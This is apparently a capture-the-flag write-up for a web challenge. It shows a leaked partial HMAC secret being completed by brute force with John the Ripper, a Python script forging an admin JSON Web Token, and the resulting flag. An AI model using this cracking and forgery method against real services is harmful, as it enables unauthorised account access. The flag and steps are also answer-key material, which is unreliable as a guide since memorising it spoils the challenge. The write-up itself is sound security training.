Tags: signature web cracking jwt
Rating: 5.0
Enjoy some of our delicious home made marmalade!
Author: @congon4tor#2334
Tags: web
The web page lets users login with only a username. Logging in with any name gives the note
Only the admin can see the flag.
Logging in as admin does fail with the message
Login as the admin has been disabled
In the cookies we can find a Jason Web Token that contains the username in the payload and is using MD5-HMAC as signing algorithm. Crafting a token is not possible without knowing the secret but we can try nevertheless.
By using the new token the following message is provided which leaks the algorithm and the first part of the secret.
"Invalid signature, we only accept tokens signed with our MD5_HMAC algorithm using the secret fsrwjcfszeg*****"
The rest of the secret can easily be bruteforced with john. To do this the jwt need to be transformed to a format john can parse. It's easy as just the signature part needs to be replaced with the hex values of the decoded signature and attached via # instead of ..
echo "3R1XbK5O2t6MZ0ir6KJdRw==" | base64 -d | hex
dd1d576cae4edade8c6748abe8a25d47
The final input for john looks something like eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6InRlc3QifQ#dd1d576cae4edade8c6748abe8a25d47.
$ john token --mask=fsrwjcfszeg?l?l?l?l?l --format=HMAC-MD5
The full secret, as found by john, is fsrwjcfszegvsyfa. With this secret we can forge a valid token for admin.
import base64
import json
import hashlib
import hmac
header = {
"alg": "MD5_HMAC"
}
payload = {
"username": "admin"
}
token = base64.urlsafe_b64encode(bytearray(json.dumps(header), "utf-8")).rstrip(b"=") + b"."\
+ base64.urlsafe_b64encode(bytearray(json.dumps(payload), "utf-8")).rstrip(b"=")
hmac_md5 = hmac.new(bytes("fsrwjcfszegvsyfa", "utf-8"), token, hashlib.md5)
token = token + b"." + base64.urlsafe_b64encode(hmac_md5.digest())
print(token.decode("utf-8"))
Replacing the token for the currently logged in user with the new token gives admin visibility and shows the flag.
Flag flag{a249dff54655158c25ddd3584e295c3b}
